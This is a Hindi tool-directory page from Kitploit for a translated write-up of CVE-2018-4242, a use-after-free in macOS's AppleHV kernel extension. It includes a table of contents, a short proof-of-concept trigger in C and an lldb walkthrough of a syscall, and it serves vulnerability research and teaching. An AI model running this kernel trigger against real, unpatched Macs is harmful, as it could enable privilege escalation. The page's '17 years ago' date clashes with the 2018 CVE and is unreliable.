Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Look-at-The-XNU-Through-A-Tube-CVE-2018-4242-Write-up-Translation- — विस्तृत तकनीकी लेख और CVE-2018-4242 का अनुवाद, जो AppleHV में एक XNU कर्नेल भेद्यता है, जिसमें PoC कोड, रिवर्स इंजीनियरिंग विश्लेषण, और सिस्टम कॉल, MIG, तथा IOKit की व्याख्या शामिल है। | Kitploit
उपकरण/GitHubGitHub/yeonnic/look-at-the-xnu-through-a-tube-cve-2018-4242-write-up-translation-
भेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubyeonnic/look-at-the-xnu-through-a-tube-cve-2018-4242-write-up-translation-

Look-at-The-XNU-Through-A-Tube-CVE-2018-4242-Write-up-Translation-

विस्तृत तकनीकी लेख और CVE-2018-4242 का अनुवाद, जो AppleHV में एक XNU कर्नेल भेद्यता है, जिसमें PoC कोड, रिवर्स इंजीनियरिंग विश्लेषण, और सिस्टम कॉल, MIG, तथा IOKit की व्याख्या शामिल है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
17 साल पहलेअभी तक समीक्षित नहीं

XNU को एक ट्यूब के माध्यम से देखें CVE-2018-4242 राइट-अप

Qihoo 360 निर्वाण टीम के Zhuo Liang

सामग्री

1 परिचय 1

1.1 CVE-2018-4242 . . . . . . . . . . . . . . . . . . . . . . . . . 1

2 XNU कर्नेल 2

2.1 सिस्टम कॉल . . . . . . . . . . . . . . . . . . . . . . . . . . 2

2.2 MIG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.2.1 mach_msg और Mach पोर्ट . . . . . . . . . . . . . . . . . 6

2.2.2 MIG: RPC इंटरफ़ेस जनरेटर . . . . . . . . . . . . . . . . 8

2.3 IOKit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

2.3.1 IOUserClient . . . . . . . . . . . . . . . . . . . . . . . . 12

3 AppleHV 12

3.1 रिवर्स इंजीनियरिंग . . . . . . . . . . . . . . . . . . . . . . 12

3.2 भेद्यता . . . . . . . . . . . . . . . . . . . . . . . . . . 16

3.3 फिक्सिंग . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

4 निष्कर्ष 17

1 परिचय

1.1 CVE-2018-4242

एप्पल ने पिछले सप्ताह मार्च में रिपोर्ट किए गए CVE-2018-4242 के लिए macOs 10.13.4 सुरक्षा अपडेट जारी किया। यह CVE-2018-4242 एक भेद्यता है जो कर्नेल अधिकारों के साथ मनमाना कोड निष्पादित करके दुर्भावनापूर्ण प्रोग्राम के संपर्क में आ सकती है। यह रिपोर्ट इस समस्या के माध्यम से XNU को देखने में मददगार होगी। लिस्टिंग 1 का कोड हमारे द्वारा प्रदर्शित POC है। पूरा स्रोत कोड github से डाउनलोड किया जा सकता है।

root@kitploit:~
1 // AppleHVUaF.c
2 void destroy_vm() {
3   asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall");
4   return;
5 }
6 int main(int argc, char **argv) {
7   const char *service_name = "AppleHV";
8   io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
9
10  if (service == MACH_PORT_NULL) {
11    printf("[−] Cannot get matching service of %s\n", service_name);
12    return 0;
13  }
14  printf("[+] Get matching service of %s succeed, service=0x%x\n", service_name, service);
15
16  io_connect_t client = MACH_PORT_NULL;
17  kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0, &client);
18  if (ret != KERN_SUCCESS) {
19    printf("[−] Open service of %s failed!\n", service_name);
20    return 0;
21  }
22  printf("[+] Create IOUserClient of %s succeed, client=0x%x\n",
23  service_name, client);
24  IOServiceClose(client);
25  usleep(5);
26  destroy_vm();
27  return 0;
28 }

​ लिस्टिंग 1: CVE-2018-4242 के लिए PoC

इस कोड को समझने के लिए XNU की कुछ बुनियादी जानकारी आवश्यक है। XNU में नए पाठकों के लिए, खंड 2 XNU के बारे में विवरण कवर करेगा। यदि आप पहले से नीचे दी गई वस्तुओं को जानते हैं, तो आप खंड 3 से शुरू कर सकते हैं।

  • XNU में सिस्टम कॉल के वर्ग
  • MIG जिसे XNU में RPC इंटरफ़ेस जनरेटर भी कहा जाता है
  • IOKit उपप्रणाली

खंड 1 परिचय
खंड 2 XNU की बुनियादी जानकारी
खंड 3 AppleHV.kext का रिवर्स और CVE-2018-4242 का विवरण
खंड 4 निष्कर्ष

2 XNU कर्नेल

2.1 सिस्टम कॉल

जैसा कि हम सभी जानते हैं, कंप्यूटिंग में सिस्टम कॉल प्रोग्राम के लिए ऑपरेटिंग सिस्टम के साथ बातचीत करने का एक तरीका है। उपयोगकर्ता-स्तरीय प्रक्रियाएं सिस्टम कॉल के माध्यम से ऑपरेटिंग सिस्टम की सेवाओं का अनुरोध कर सकती हैं। XNU में, सिस्टम कॉल के चार वर्ग हैं जो सभी उपयोगकर्ता-कर्नेल इंटरैक्शन को संचालित करते हैं। आइए लिस्टिंग 1 में दिखाए गए syscall निर्देश के माध्यम से इनमें गहराई से उतरें। ​ x86_64 आर्किटेक्चर पर syscall एक प्रकार का निर्देश है जो कर्नेल स्पेस में एक OS सिस्टम कॉल हैंडलर को आमंत्रित कर सकता है। लिस्टिंग 2 दर्शाती है कि एक सरल write उदाहरण के माध्यम से syscall कैसे काम करता है।

root@kitploit:~
~ cat write.c
2 #include 
3 int main() {
4 write(0, "Hello\n", 6);
5 return 0;
6 }
7 ~ clang write.c −o write
8 ~ lldb write
9 (lldbinit) b libsystem_kernel.dylib`write
10 Breakpoint 1: where = libsystem_kernel.dylib`write, address = 0x000000000001e6f8
11 (lldbinit) r
12 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[regs]
13 RAX: 0x0000000000000006 RBX: 0x0000000000000000 RBP: 0x00007FFEEFBFF8D0
14 RSP: 0x00007FFEEFBFF8B8 RDI: 0x0000000000000000 RSI: 0x0000000100000FA2
15 RDX: 0x0000000000000006 RCX: 0x00007FFEEFBFF9F8 RIP: 0x00007FFF7ED096F8
16 R8: 0x0000000000000000 R9: 0xFFFFFFFF00000000 R10: 0x00007FFEEFBFFA48
17 R11: 0x00007FFF7ED096F8 R12: 0x0000000000000000 R13: 0x0000000000000000
18 R14: 0x0000000000000000 R15: 0x0000000000000000
19 CS: 002B FS: 0000 GS: 0000
20 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[code]
21 write @ libsystem_kernel.dylib:
22 −> 0x7fff7ed096f8: b8 04 00 00 02 mov eax, 0x2000004
23 0x7fff7ed096fd: 49 89 ca mov r10, rcx
24 0x7fff7ed09700: 0f 05 syscall
25 0x7fff7ed09702: 73 08 jae 0x7fff7ed0970c ; <+20>
26 0x7fff7ed09704: 48 89 c7 mov rdi, rax
27 0x7fff7ed09707: e9 19 54 ff ff jmp 0x7fff7ecfeb25 ; cerror
28 0x7fff7ed0970c: c3 ret
29 0x7fff7ed0970d: 90 nop
30 (lldbinit) x/s rsi
31 0x100000fa2: "Hello\n"

​ लिस्टिंग 2: सरल write उदाहरण

टूल डाउनलोड करें